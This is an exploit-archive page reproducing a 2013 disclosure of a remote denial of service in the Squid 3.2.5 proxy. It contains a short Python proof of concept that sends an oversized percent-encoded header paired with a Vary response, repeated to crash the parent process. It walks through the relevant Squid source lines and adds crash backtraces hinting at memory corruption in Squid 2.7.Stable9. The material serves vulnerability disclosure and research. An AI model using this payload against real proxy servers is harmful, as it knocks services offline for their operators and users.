Advertisement






Squid 3.2.5 httpMakeVaryMark() header value DoS, 2.7.Stable9 memory corruption

CVE Category Price Severity
CWE-119 High
Author Risk Exploitation Type Date
Unknown High Remote 2013-03-06
CPE
cpe:cpe:/a:squid-cache:squid:3.2.5
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2013030047

Below is a copy:

##############################################################
# httpMakeVaryMark() header value 'value' (http.cc:603 line) #
##############################################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################

# Versions: 3.2.5

  It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:
  Request
  -- cut --
  #!/usr/bin/env python
  print 'GET /index.html HTTP/1.1'
  print 'Host: localhost'
  print 'X-HEADSHOT: ' + '%XX' * 19000
  print '\r\n\r\n'
  -- cut --

  Response
  -- cut --
  HTTP/1.1 200 OK
  Vary: X-HEADSHOT
  -- cut --

  Code:

  In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is
  passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example
  percent signs. This mean that the single charachter in request is now triple in length
  (e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).

  This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert
  is invoked, which kills the child. When child is killed the Kid::stop() is called, which
  increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,
  then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main
  process of squid (parent) with the following message:
  "Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"

  src/http.cc:
  573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)
  574 {
  575     String vary, hdr;
  576     const char *pos = NULL;
  577     const char *item;
  578     const char *value;
  579     int ilen;
  580     static String vstr;
  581
  582     vstr.clean();
  583     vary = reply->header.getList(HDR_VARY);
  584
  585     while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {
  586         char *name = (char *)xmalloc(ilen + 1);
  587         xstrncpy(name, item, ilen + 1);
  588         Tolower(name);
  589
  590         if (strcmp(name, "*") == 0) {
  591             /* Can not handle "Vary: *" withtout ETag support */
  592             safe_free(name);
  593             vstr.clean();
  594             break;
  595         }
  596
  597         strListAdd(&vstr, name, ',');
  598         hdr = request->header.getByName(name);
  599         safe_free(name);
  600         value = hdr.termedBuf();
  601
  602         if (value) {
  603             value = rfc1738_escape_part(value);
  604             vstr.append("=\"", 2);
  605             vstr.append(value);
  606             vstr.append("\"", 1);
  607         }

  lib/rfc1738.c:
  143         /* Do the triplet encoding, or just copy the char */
  144         if (do_escape == 1) {
  145             (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);
  146             dst += sizeof(char) * 2;
  147         } else {
  148             *dst = *src;
  149         }

  src/String.cc:
  186 String::append( char const *str, int len)
  187 {
  188     assert(this);
  189     assert(str && len >= 0);
  190
  191     PROF_start(StringAppend);
  192     if (len_ + len < size_) {
  193         strncat(buf_, str, len);
  194         len_ += len;
  195     } else {
  196         // Create a temporary string and absorb it later.
  197         String snew;
  198         assert(len_ + len < 65536); // otherwise snew.len_ overflows below
  199         snew.len_ = len_ + len;
  200         snew.allocBuffer(snew.len_ + 1);
  201
  202         if (len_)
  203             memcpy(snew.buf_, rawBuf(), len_);
  204
  205         if (len)
  206             memcpy(snew.buf_ + len_, str, len);
  207
  208         snew.buf_[snew.len_] = '\0';
  209
  210         absorb(snew);
  211     }
  212     PROF_stop(StringAppend);
  213 }

  src/ipc/Kid.cc:
  46 /// called when kid terminates, sets exiting status
  47 void Kid::stop(status_type exitStatus)
  48 {
  49     assert(running());
  50     assert(startTime != 0);
  51
  52     isRunning = false;
  53
  54     time_t stop_time;
  55     time(&stop_time);
  56     if ((stop_time - startTime) < fastFailureTimeLimit)
  57         ++badFailures;
  58     else
  59         badFailures = 0; // the failures are not "frequent" [any more]
  60
  61     status = exitStatus;
  62 }
  70 /// returns true if master process should restart this kid
  71 bool Kid::shouldRestart() const
  72 {
  73     return !(running() ||
  74              exitedHappy() ||
  75              hopeless() ||
  76              shutting_down ||
  77              signaled(SIGKILL) || // squid -k kill
  78              signaled(SIGINT) || // unexpected forced shutdown
  79              signaled(SIGTERM)); // unexpected forced shutdown
  80 }

  src/ipc/Kid.h:
  23     /// keep restarting until the number of bad failures exceed this limit
  24     enum { badFailureLimit = 4 };
  25
  26     /// slower start failures are not "frequent enough" to be counted as "bad"
  27     enum { fastFailureTimeLimit = 10 }; // seconds



# BONUS POINT ;-) 
# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*


  #3  0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized 
out>) at malloc.c:6283
  #16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397
and 
  #3  0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", 
ptr=<optimized out>) at malloc.c:6283
  #9  0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397
and 
  #3  0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", 
ptr=<optimized out>) at malloc.c:6283
  #9  0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397
and 
  #3  0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", 
ptr=<optimized out>) at malloc.c:6283
  #9  0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398
EOF


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum